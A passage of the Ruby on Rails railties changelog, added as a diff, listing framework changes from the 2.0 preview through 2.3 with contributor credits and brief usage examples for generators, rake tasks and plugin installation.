+* "rails <app>" will not generate public/dispatch.cgi/fcgi/rb files by default now. Please use "--with-dispatchers" option if you need them. *Yaroslav Markin, Pratik Naik*
+
+* Added rake rails:update:application_controller to renamed application.rb to application_controller.rb -- included in rake rails:update so upgrading to 2.3 will automatically trigger it #1439 *kastner*
+
+* Added Rails.backtrace_cleaner as an accessor for the Rails::BacktraceCleaner instance used by the framework to cut down on backtrace noise and config/initializers/backtrace_silencers.rb to add your own (or turn them all off) *David Heinemeier Hansson*
+
+* Switch from Test::Unit::TestCase to ActiveSupport::TestCase. *Jeremy Kemper*
+
+* Added config.i18n settings gatherer to config/environment, auto-loading of all locales in config/locales/*.rb,yml, and config/locales/en.yml as a sample locale *David Heinemeier Hansson*
+
+* BACKWARDS INCOMPATIBLE: Renamed application.rb to application_controller.rb and removed all the special casing that was in place to support the former. You must do this rename in your own application when you upgrade to this version *David Heinemeier Hansson*
+
+
+## 2.2.1 RC2 (November 14th, 2008) ##
+
+* Fixed plugin generator so that generated unit tests would subclass ActiveSupport::TestCase, also introduced a helper script to reduce the needed require statements #1137 *Mathias Meyer*
+
+* Update Prototype to 1.6.0.3 *sam*
+
+
+## 2.2.0 RC1 (October 24th, 2008) ##
+
+* Fixed that sqlite would report "db/development.sqlite3 already exists" whether true or not on db:create #614 *Antonio Cangiano*
+
+* Added config.threadsafe! to toggle allow concurrency settings and disable the dependency loader *Josh Peek*
+
+* Turn cache_classes on by default *Josh Peek*
+
+* Added configurable eager load paths. Defaults to app/models, app/controllers, and app/helpers *Josh Peek*
+
+* Introduce simple internationalization support. *Ruby i18n team*
+
+* Make script/plugin install <plugin> -r <revision> option work with git based plugins. #257. [Tim Pope Jakub Kuźma]. Example:
+
+ script/plugin install git://github.com/mislav/will_paginate.git -r agnostic # Installs 'agnostic' branch
+ script/plugin install git://github.com/dchelimsky/rspec.git -r 'tag 1.1.4'
+
+* Added Rails.initialized? flag *Josh Peek*
+
+* Make rake test:uncommitted work with Git. *Tim Pope*
+
+* Added Thin support to script/server. #488 *Bob Klosinski*
+
+* Fix script/about in production mode. #370 *Cheah Chu Yeow, Xavier Noria, David Krmpotic*
+
+* Add the gem load paths before the framework is loaded, so certain gems like RedCloth and BlueCloth can be frozen.
+
+* Fix discrepancies with loading rails/init.rb from gems.
+
+* Plugins check for the gem init path (rails/init.rb) before the standard plugin init path (init.rb) *Jacek Becela*
+
+* Changed all generated tests to use the test/do declaration style *David Heinemeier Hansson*
+
+* Wrapped Rails.env in StringInquirer so you can do Rails.env.development? *David Heinemeier Hansson*
+
+* Fixed that RailsInfoController wasn't considering all requests local in development mode (Edgard Castro) *#310 state:resolved*
+
+
+## 2.1.0 (May 31st, 2008) ##
+
+* script/dbconsole fires up the command-line database client. #102 *Steve Purcell*
+
+* Fix bug where plugin init.rb files from frozen gem specs weren't being run. (pjb3) *#122 state:resolved*
+
+* Made the location of the routes file configurable with config.routes_configuration_file (Scott Fleckenstein) *#88*
+
+* Rails Edge info returns the latest git commit hash *Francesc Esplugas*
+
+* Added Rails.public_path to control where HTML and assets are expected to be loaded from (defaults to Rails.root + "/public") #11581 *Nick Sieger*
+
+* rake time:zones:local finds correct base utc offset for zones in the Southern Hemisphere *Geoff Buesing*
+
+* Don't require rails/gem_builder during rails initialization, it's only needed for the gems:build task. *Rick Olson*
+
+* script/performance/profiler compatibility with the ruby-prof >= 0.5.0. Closes #9176. *Jonathan del Strother*
+
+* Flesh out rake gems:unpack to unpack all gems, and add rake gems:build for native extensions. #11513 *ddollar*
+
+ rake gems:unpack # unpacks all gems
+ rake gems:unpack GEM=mygem # unpacks only the gem 'mygem'
+
+ rake gems:build # builds all unpacked gems
+ rake gems:build GEM=mygem # builds only the gem 'mygem'
+
+* Add config.active_support for future configuration options. Also, add more new Rails 3 config settings to new_rails_defaults.rb *Rick Olson*
+
+* Add Rails.logger, Rails.root, Rails.env and Rails.cache shortcuts for RAILS_* constants *Pratik Naik*
+
+* Allow files in plugins to be reloaded like the rest of the application. *Rick Olson*
+
+ Enables or disables plugin reloading.
+
+ config.reload_plugins = true
+
+ You can get around this setting per plugin.
+ If #reload_plugins? == false (DEFAULT), add this to your plugin's init.rb to make it reloadable:
+
+ Dependencies.load_once_paths.delete lib_path
+
+ If #reload_plugins? == true, add this to your plugin's init.rb to only load it once:
+
+ Dependencies.load_once_paths << lib_path
+
+* Small tweak to allow plugins to specify gem dependencies. *Rick Olson*
+
+ \# OLD open_id_authentication plugin init.rb
+ require 'yadis'
+ require 'openid'
+ ActionController::Base.send :include, OpenIdAuthentication
+
+ \# NEW
+ config.gem "ruby-openid", :lib => "openid", :version => "1.1.4"
+ config.gem "ruby-yadis", :lib => "yadis", :version => "0.3.4"
+
+ config.after_initialize do
+ ActionController::Base.send :include, OpenIdAuthentication
+ end
+
+* Added config.gem for specifying which gems are required by the application, as well as rake tasks for installing and freezing gems. *Rick Olson*
+
+ Rails::Initializer.run do |config|
+ config.gem "bj"
+ config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net"
+ config.gem "aws-s3", :lib => "aws/s3"
+ end
+
+ \# List required gems.
+ rake gems
+
+ \# Install all required gems:
+ rake gems:install
+
+ \# Unpack specified gem to vendor/gems/gem_name-x.x.x
+ rake gems:unpack GEM=bj
+
+* Removed the default .htaccess configuration as there are so many good deployment options now (kept it as an example in README) *David Heinemeier Hansson*
+
+* config.time_zone accepts TZInfo::Timezone identifiers as well as Rails TimeZone identifiers *Geoff Buesing*
+
+* Rails::Initializer#initialize_time_zone raises an error if value assigned to config.time_zone is not recognized. Rake time zone tasks only require ActiveSupport instead of entire environment *Geoff Buesing*
+
+* Stop adding the antiquated test/mocks/* directories and only add them to the path if they're still there for legacy reasons *David Heinemeier Hansson*
+
+* Added that gems can now be plugins if they include rails/init.rb #11444 *John Barnette*
+
+* Added Plugin#about method to programmatically access the about.yml in a plugin #10979 *James Adam*
+
+ plugin = Rails::Plugin.new(path_to_my_plugin)
+ plugin.about["author"] # => "James Adam"
+ plugin.about["url"] # => "http://interblah.net"
+
+* Improve documentation. *Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert*
+
+* Added config.time_zone = 'UTC' in the default environment.rb *Geoff Buesing*
+
+* Added rake tasks time:zones:all, time:zones:us and time:zones:local for finding time zone names for config.time_zone option *Geoff Buesing*
+
+* Add config.time_zone for configuring the default Time.zone value. #10982 *Geoff Buesing*
+
+* Added support for installing plugins hosted at git repositories #11294 *Jack Danger Canty*
+
+* Fixed that script/generate would not look for plugin generators in plugin_paths #11000 *glv*
+
+* Fixed database rake tasks to work with charset/collation and show proper error messages on failure. Closes #11301 *matt*
+
+* Added a -e/--export to script/plugin install, uses svn export. #10847 *jon@blankpad.net)*
+
+* Reshuffle load order so that routes and observers are initialized after plugins and app initializers. Closes #10980 *Rick Olson*
+
+* Git support for script/generate. #10690 *ssoroka*
+
+* Update scaffold to use labels instead of bold tags. Closes #10757 *zach-inglis-lt3*
+
+* Resurrect WordNet synonym lookups. #10710 *tom./, matt*
+
+* Added config.cache_store to environment options to control the default cache store (default is FileStore if tmp/cache is present, otherwise MemoryStore is used) *David Heinemeier Hansson*
+
+* Added that rails:update is run when you do rails:freeze:edge to ensure you also get the latest JS and config files #10565 *jeff*
+
+* SQLite: db:drop:all doesn't fail silently if the database is already open. #10577 *Cheah Chu Yeow, mrichman*
+
+* Introduce native mongrel handler and push mutex into dispatcher. *Jeremy Kemper*
+
+* Ruby 1.9 compatibility. #1689, #10546 *Cheah Chu Yeow, frederico*
+
+
+## 2.0.2 (December 16th, 2007) ##
+
+* Changed the default database from mysql to sqlite3, so now running "rails myapp" will have a config/database.yml that's setup for SQLite3 (which in OS X Leopard is installed by default, so is the gem, so everything Just Works with no database configuration at all). To get a Rails application preconfigured for MySQL, just run "rails -d mysql myapp" *David Heinemeier Hansson*
+
+* Turned on ActionView::Base.cache_template_loading by default in config/environments/production.rb to prevent file system stat calls for every template loading to see if it changed (this means that you have to restart the application to see template changes in production mode) *David Heinemeier Hansson*
+
+* Introduce `rake secret` to output a crytographically secure secret key for use with cookie sessions #10363 *revans*
+
+* Fixed that local database creation should consider 127.0.0.1 local #9026 *parcelbrat*
+
+* Fixed that functional tests generated for scaffolds should use fixture calls instead of hard-coded IDs #10435 *boone*
+
+* Added db:migrate:redo and db:migrate:reset for rerunning existing migrations #10431, #10432 *matt*
+
+* RAILS_GEM_VERSION may be double-quoted also. #10443 *James Cox*
+
+* Update rails:freeze:gems to work with RubyGems 0.9.5. *Jeremy Kemper*
+
+
+## 2.0.1 (December 7th, 2007) ##
+
+* Fixed Active Record bug
+
+
+## 2.0.0 (December 6th, 2007) ##
+
+* The test task stops with a warning if you have pending migrations. #10377 *Josh Knowles*
+
+* Add warning to documentation about using transactional fixtures when the code under test uses transactions itself. Closes #7548 *Thijs van der Vossen*
+
+* Update Prototype to 1.6.0.1. *sam*
+
+* Update script.aculo.us to 1.8.0.1. *madrobby*
+
+* Added db:fixtures:identity as a way of locating what ID a foxy fixture was assigned #10332 *John Barnette*
+
+* Generated fixtures should not specify ids since theyre expected to be foxy fixtures #10330 *John Barnette*
+
+* Update to Prototype -r8232. *sam*
+
+* Introduce SecretKeyGenerator for more secure session secrets than CGI::Session's pseudo-random id generator. Consider extracting to Active Support later. #10286 *Hongli Lai (Phusion)*
+
+* RAILS_GEM_VERSION may be set to any valid gem version specifier. #10057 *Chad Woolley, Cheah Chu Yeow*
+
+* Load config/preinitializer.rb, if present, before loading the environment. #9943 *Chad Woolley*
+
+* FastCGI handler ignores unsupported signals like USR2 on Windows. *Grzegorz Derebecki*
+
+* Only load ActionMailer::TestCase if ActionMailer is loaded. Closes #10137 *defunkt*
+
+* Fixed that db:reset would use migrations instead of loading db/schema.rb *David Heinemeier Hansson*
+
+* Ensure the plugin loader only loads plugins once. Closes #10102 *haruki_zaemon*
+
+* Refactor Plugin Loader. Add plugin lib paths early, and add lots of tests. Closes #9795 *James Adam*
+
+* Added --skip-timestamps to generators that produce models #10036 *Tim Pope*
+
+* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0. *sam, madrobby*
+
+* Added db:rollback to rollback the schema one version (or multiple as specified by STEP) *Jeffrey Allan Hardy*
+
+* Fix typo in test_helper. Closes #9925 *viktor tron*
+
+* Request profiler. *Jeremy Kemper*
+
+* config/boot.rb correctly detects RAILS_GEM_VERSION. #9834 *alexch, thewoolleyman*
+
+* Fixed incorrect migration number if script/generate executed outside of Rails root #7080 *Jeremy McAnally*
+
+* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0. *sam, madrobby*
+
+* Generated fixtures use the actual primary key instead of id. #4343 *Frederick Ros, Tarmo Tänav*
+
+* Extend the console +helper+ method to allow you to include custom helpers. e.g:
+ >> helper :posts
+ >> helper.some_method_from_posts_helper(Post.find(1))
+
+* db:create works with remote databases whereas db:create:all only creates
+ databases on localhost. #9753 *Trevor Wennblom*
+
+* Removed calls to fixtures in generated tests as fixtures :all is now present by default in test_helper.rb *David Heinemeier Hansson*
+
+* Add --prefix option to script/server when using mongrel. *dacat*
+
+
+## 2.0.0 Preview Release (September 29th, 2007) Includes duplicates of changes from 1.1.4 - 1.2.3 ##
+
+* Fixed that installing plugins from SVN repositories that use trunk/ will work #8188 *evan*
+
+* Moved the SourceAnnotationExtractor to a separate file in case libraries try to load the rails rake tasks twice. *Rick Olson*
+
+* Moved Dispatcher to ActionController::Dispatcher. *Jeremy Kemper*
+
+* Changed the default logger from Ruby's own Logger with the clean_logger extensions to ActiveSupport::BufferedLogger for performance reasons [David Heinemeier Hansson]. (You can change it back with config.logger = Logger.new("/path/to/log", level).)
+
+* Added a default 422.html page to be rendered when ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved, or ActionController::InvalidAuthenticityToken is raised *David Heinemeier Hansson*
+
+* Added --skip-fixture option to script/generate model #6862 *sandofsky*
+
+* Print Rails version when starting console #7440 *eyematz*
+
+* Fixed the placement of fixture files for nested models when generating through script/generate model #7547 *jkit*
+
+* Added TEMPLATE option to rake doc:app to set a custom output template #7737 *Jakob Skjerning*
+
+* Added VERBOSE option to rake db:migrate to turn off output #8204 *John Barnette*
+
+* Fixed that rake doc:app should use UTF-8 #8906 *farzy*
+
+* Fixes rake annotations to search erb and builder files as well #9150 *m.langenberg*
+
+* Removed web_service generator *Michael Koziarski*
+
+* Added the :all option to config.plugins that'll include the rest of the plugins not already explicitly named #9613 [Frederick Cheung]. Example:
+
+ # Loads :classic_pagination before all the other plugins
+ config.plugins = [ :classic_pagination, :all ]
+
+* Added symbols as a legal way of specifying plugins in config.plugins #9629 *tom*
+
+* Removed deprecated task names, like clear_logs, in favor of the new namespaced style *David Heinemeier Hansson*
+
+* Support multiple config.after_initialize blocks so plugins and apps can more easily cooperate. #9582 *Zach Dennis*
+
+* Added db:drop:all to drop all databases declared in config/database.yml *David Heinemeier Hansson*
+
+* Use attribute pairs instead of the migration name to create add and remove column migrations. Closes #9166 *Pratik Naik*
+
+ For example:
+
+ ruby script/generation migration AddSomeStuffToCustomers first_name:string last_name:string
+
+ or
+
+ ruby script/generation migration RemoveSomeStuffFromCustomers first_name:string last_name:string
+
+* Add ActiveResource to Rails::Info. Closes #8741 *Chris Kampmeier*
+
+* use Gem.find_name instead of search when freezing gems. Prevent false positives for other gems with rails in the name. Closes #8729 *wselman*
+
+* Automatically generate add/remove column commands in specially named migrations like AddLocationToEvent. Closes #9006 *Ryan Davis*
+
+* Default to plural table name in Rails Generator if ActiveRecord is not present. Closes #8963 *evan*
+
+* Added rake routes for listing all the defined routes in the system. #8795 *Josh Peek*
+
+* db:create creates the database for the current environment if it's on localhost. db:create:all creates local databases for all environments. #8783 *matt*
+
+* Generators: look for generators in all gems, not just those suffixed with _generator, in the gem's generators or rails_generators directory. Allow use of the rails_generators directory instead of the standard generators directory in plugins also. #8730 *Dr Nic, topfunky*
+
+* MySQL, PostgreSQL: database.yml defaults to utf-8. #8701 *matt*
+
+* Added db:version to get the current schema number *via Err The Blog*
+
+* Added --skip-migration option to scaffold and resource generators #8656 *Michael Glaesemann*
+
+* Fix that FCGIs would leave log files open when asked to shut down by USR2. #3028 *Sebastian Kanthak, Josh Peek*
+
+* Fixed that dispatcher preparation callbacks only run once in production mode. Mock Routes.reload so that dispatcher preparation callback tests run. *Rick Olson*
+
+* Fix syntax error in dispatcher than wrecked failsafe responses. #8625 *mtitorenko*
+
+* Scaffolded validation errors set the appropriate HTTP status for XML responses. #6946, #8622 *Manfred Stienstra, mmmultiworks*
+
+* Sexy migrations for the session_migration generator. #8561 *Vladislav*
+
+* Console reload! runs to_prepare callbacks also. #8393 *f.svehla*
+
+* Generated migrations include timestamps by default. #8501 *Shane Vitarana*
+
+* Drop Action Web Service from rails:freeze:edge. *Jeremy Kemper*
+
+* Add db:create, drop, reset, charset, and collation tasks. #8448 *matt*
+
+* Scaffold generator depends on model generator instead of duplicating it. #7222 *bscofield*
+
+* Scaffold generator tests. #8443 *pelle*
+
+* Generated scaffold functional tests use assert_difference. #8421 *Norbert Crombach*
+
+* Update to Prototype 1.5.1. *Sam Stephenson*
+
+* Update to script.aculo.us 1.7.1_beta3. *Thomas Fuchs*
+
+* Generators use *.html.erb view template naming. #8278 *Tim Pope*
+
+* Updated resource_scaffold and model generators to use short-hand style migrations *David Heinemeier Hansson*
+
+* Updated initializer to only load #{RAILS_ENV}.rb once. Added deprecation warning for config.breakpoint_server. *Nicholas Seckar*
+
+* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back *David Heinemeier Hansson*
+
+ To use the new debugger, start your server with script/server --debugger and insert a call to 'debugger'
+ (instead of 'breakpoint') where you want to jump into the debugger.
+
+ BACKWARDS INCOMPATIBILITY NOTE: You must remove the default line 12 from config/environments/development.rb:
+
+ config.breakpoint_server = true
+
+ This configuration option is no longer available. Rails will fail to start in development mode as long as
+ that's still present.
+
+* Resource scaffolding returns the created entity.to_xml. *Jeremy Kemper*
+
+* Resource scaffolding responds to new.xml. #8185 *Eric Mill*
+
+* Include Active Resource in rails:freeze:edge rake task. *Thomas Fuchs*
+
+* Include Active Resource instead of Action Web Service [David Heinemeier Hansson] You can add AWS back with this in config/environment.rb:
+
+ config.load_paths += %W( #{RAILS_ROOT}/vendor/rails/actionwebservice/lib )
+
+ ...or just gem 'actionwebservice'
+
+* Give generate scaffold a more descriptive database message. Closes #7316 *Jeremy McAnally*
+
+* Canonicalize RAILS_ROOT by using File.expand_path on Windows, which doesn't have to worry about symlinks, and Pathname#realpath elsewhere, which respects symlinks in relative paths but is incompatible with Windows. #6755 *Jeremy Kemper, trevor*
+
+* Deprecation: remove components from controller paths. *Jeremy Kemper*
+
+* Add environment variable RAILS_DEFAULT_DATABASE, which allows the builtin default of 'mysql' to be overridden. *Nicholas Seckar*
+
+* Windows: include MinGW in RUBY_PLATFORM check. #2982 *okkez000@gmail.com, Kaspar Schiess*
+
+* Split out the basic plugin locator functionality into an abstract super class. Add a FileSystemLocator to do the job of checking the plugin_paths for plugins. Add plugin_locators configuration option which will iterate over the set of plugin locators and load each of the plugin loaders they return. Rename locater everywhere to locator. *Marcel Molina Jr.*
+
+* Split plugin location and loading out of the initializer and into a new Plugin namespace, which includes Plugin::Locater and Plugin::Loader. The loader class that is used can be customized using the config.plugin_loader option. Those monkey patching the plugin loading subsystem take note, the internals changing here will likely break your modifications. The good news is that it should be substantially easier to hook into the plugin locating and loading process now. *Marcel Molina Jr.*
+
+* Added assumption that all plugin creators desire to be sharing individuals and release their work under the MIT license *David Heinemeier Hansson*
+
+* Added source-annotations extractor tasks to rake [Jamis Buck]. This allows you to add FIXME, OPTIMIZE, and TODO comments to your source code that can then be extracted in concert with rake notes (shows all), rake notes:fixme, rake notes:optimize and rake notes:todo.
+
+* Added fixtures :all to test_helper.rb to assume that most people just want all their fixtures loaded all the time *David Heinemeier Hansson*
+
+* Added config/initializers where all ruby files within it are automatically loaded after the Rails configuration is done, so you don't have to litter the environment.rb file with a ton of mixed stuff *David Heinemeier Hansson*
+
+* For new apps, generate a random secret for the cookie-based session store. *Jeremy Kemper*
+
+* Stop swallowing errors during rake test *Michael Koziarski*
+
+* Update Rails Initializer to use ActionController::Base#view_paths *Rick Olson*
+
+* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ *Chad Fowler*
+
+* Plugins may be symlinked in vendor/plugins. #4245 *brandon, progrium@gmail.com*
+
+* Resource generator depends on the model generator rather than duplicating it. #7269 *bscofield*
+
+* Add/Update usage documentation for script/destroy, resource generator and scaffold_resource generator. Closes #7092, #7271, #7267. *bscofield*
+
+* Update to script.aculo.us 1.7.0. *Thomas Fuchs*
+
+* Update to Prototype 1.5.0. *Sam Stephenson*
+
+* Generator: use destination path for diff tempfiles. #7015 *alfeld*
+
+* Fixed that webrick would strip leading newlines and hang connection #4156 *psross*
+
+* Ensure plugins are in the Dependencies.load_once_paths collection by default. *Rick Olson*
+ If you really want your plugins to reload, add this to the very top of init.rb:
+
+ Dependencies.load_once_paths.delete(lib_path)
+
+* Allow config.to_prepare to work, make the dispatcher safe to 're require'. *Michael Koziarski, Nicholas Seckar*
+
+* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 *fearoffish*
+
+* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 *Rick Olson*
+
+* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. *James Adam*
+
+* Don't generate a components directory in new Rails apps. *Jeremy Kemper*
+
+* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) *David Heinemeier Hansson*
+
+* Added one-letter aliases for the three default environments to script/console, so script/console p will load the production environment (t for test, d for development) *David Heinemeier Hansson*
+
+* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment *David Heinemeier Hansson*
+
+* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. *Nicholas Seckar*
+
+* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) *David Heinemeier Hansson*
+
+* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available *David Heinemeier Hansson*
+
+* Update to Prototype and script.aculo.us [5579]. *Thomas Fuchs*
+
+* Made script/server work with -e and -d when using Mongrel *David Heinemeier Hansson*
+
+* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again *Thomas Fuchs*
+
+* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action *Tobias Lütke*
+
+* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 *fearoffish*
+
+* Update to Prototype 1.5.0_rc2. *Sam Stephenson*
+
+* Add grep-based fallback to reaper, to work in pidless setups *Jamis Buck*
+
+* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. *Jeremy Kemper*
+
+* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. *Nicholas Seckar*
+
+* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 *jchris*
+
+* Remove temporary crutch to help ApplicationController be unloaded. Closes #6496. *Nicholas Seckar*
+
+* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 *Josh Susser*
+
+* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 *jeffw, Jeremy Kemper*
+
+* Generated directories are recursively svn added, like mkdir -p. #6416 *NeilW*
+
+* resource and scaffold_resource generators add a restful route to config/routes.rb *Jeremy Kemper*
+
+* Revert environment changes for autoload_paths. *Michael Koziarski*
+
+* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions *Thomas Fuchs*
+
+* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests *Michael Koziarski*
+
+* Added option to script/process/spawner of specifying the binding address #5133 *Dee Zsombor*
+
+* Update environment.rb comments to include config.autoload_paths. Closes #6478 *caio*
+
+* Update scaffold to use new form_tag block functionality. Closes #6480. *Bob Silva*
+
+* Plugin generator: check for class collisions. #4833 *vinbarnes@gmail.com*
+
+* Mailer generator: handle mailers in modules, set mime_version in unit test. *Jeremy Kemper*
+
+* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. *Michael Koziarski*
+
+* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
+
+ config.plugins = %w[ routing_navigator simply_helpful ]
+
+* Clean up html on included error pages. *Tim Lucas*
+
+* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language *David Heinemeier Hansson*
+
+* Update to latest Prototype and script.aculo.us trunk versions *Thomas Fuchs*
+
+* PostgreSQL: db:test:purge closes open database connections first. #6236 *alex*
+
+* Fixed test:uncommitted on Windows (backslash issue) #4999 *paul@paulbutcher.com*
+
+* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 *Bob Silva*
+
+* Fixed rename_table on SQLite tables with indexes defined #5942 *brandon@opensoul.org*
+
+* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations *David Heinemeier Hansson*
+
+* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
+
+ ./script/generate model post title:string created_on:date body:text published:boolean
+
+* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined *David Heinemeier Hansson*
+
+* script/runner can run files, pass on arguments, and be used as a shebang. #6286 *Tuxie, dlpond*
+ #!/usr/bin/env /path/to/my/app/script/runner
+ # Example: just start using your models as if you are in script/console
+ Product.find(:all).each { |product| product.check_inventory }
+
+* Look for rake tasks in plugin subdirs. #6259 *obrie*
+
+* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb *David Heinemeier Hansson*
+
+* Updated prototype.js to 1.5.0_rc1 with latest fixes. *Rick Olson*
+
+ - XPATH support
+ - Make Form.getElements() return elements in the correct order
+ - fix broken Form.serialize return
+
+* session_migration generator adds an index on updated_at. #6207 *grg*
+
+* script/server creates the tmp/pids directory. #6204 *jonathan*
+
+* Fix script/console --sandbox for internal transactions changes. #5738 *Chris McGrath, charles.gerungan@gmail.com*
+
+* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
+ documented in initializer.rb, the workaround is:
+
+ config.autoload_paths += Dir*RAILS_ROOT + '/app/models/*/'*
+
+ References #6031. *Nicholas Seckar*
+
+* Update to script.aculo.us 1.6.3 *Thomas Fuchs*
+
+* Update to Prototype 1.5.0_rc1 *sam*
+
+* Formally Deprecate the old rake tasks. *Michael Koziarski*
+
+* Thoroughly test the FCGI dispatcher. #5970 *Kevin Clark*
+
+* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. *Rick Olson*
+
+* Tighten rescue clauses. #5985 *james@grayproductions.net*
+
+* Cleaning up tests. *Kevin Clark, Jeremy Kemper*
+
+* Add Dependencies.load_once_paths. *Nicholas Seckar*
+
+* Updated to script.aculo.us 1.6.2 *Thomas Fuchs*
+
+* Assign Routing.controller_paths; fix script/about and rails info controller. *Nicholas Seckar*
+
+* Don't warn dispatcher of Reloadable deprecations. *Nicholas Seckar*
+
+* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base *Rick Olson*
+
+ ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
+ ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
+
+* Add missing mock directories from the autoload_paths configuration. *Rick Olson*
+
+* Nested controller scaffolding also nests the generated layout. *iain d broadfoot*
+
+* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. *Nicholas Seckar*
+
+* Add autoload_paths support to Initializer. *Nicholas Seckar*
+
+* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. *Rick Olson*
+
+* Clarify usage of script/plugin source. Closes #5344. *James Adam*
+
+* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. *Nicholas Seckar*
+
+* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. *Rick Olson*
+
+* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 *mats@imediatec.co.uk*
+
+* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 *Shugo Maeda*
+
+* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. *Rick Olson*
+
+* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. *Jamis Buck*
+
+* Fix script/plugin about so it uses about.yml and not meta.yml. *James Adam*
+
+* Dispatcher processes rescued actions with the same controller that processed the request. #4625 *sd@notso.net*
+
+* rails -d frontbase to create a new project with a frontbase database.yml. #4945 *mlaster@metavillage.com*
+
+* Ensure the logger is initialized. #5629 *mike@clarkware.com*
+
+* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
+
+ spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available
+ spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI
+ spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
+ spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
+ spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
+
+ Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
+
+* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 *evan@protest.net*
+
+* db:test:clone should remove existing tables before reloading the schema. #5607 *sveit@tradeharbor.com*
+
+* Fixed migration generation for class names like ACLController #5197 *brad@madriska.com*
+
+* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples:
+
+ irb(#<TopController:0x40822a68>):002:0> show_source_list
+ 0001 class TopController < ApplicationController
+ 0002 def show
+ 0003-> breakpoint
+ 0004 end
+ 0005
+ 0006 def index
+ 0007 end
+ 0008
+ => "/path/to/rails/root/app/controllers/top_controller.rb"
+
+ irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
+ vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
+ vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
+ app/controllers/top_controller.rb:3:in `show'
+ => "/path/to/rails/root/app/controllers/top_controller.rb:3"
+
+* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 *nils@alumni.rice.edu*
+
+* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 *mike@clarkware.com*
+
+* Don't assume Active Record is available. #5497 *bob@sporkmonger.com*
+
+* Mongrel: script/server works on Win32. #5499 *jeremydurham@gmail.com*
+
+* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. *Nick Sieger*
+
+* Mongrel support for script/server. #5475 *jeremydurham@gmail.com*
+
+* Fix script/plugin so it doesn't barf on invalid URLs *Rick Olson*
+
+* Fix plugin install bug at dir with space. (closes #5359) *Yoshimasa NIWA*
+
+* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. *Rick Olson*
+
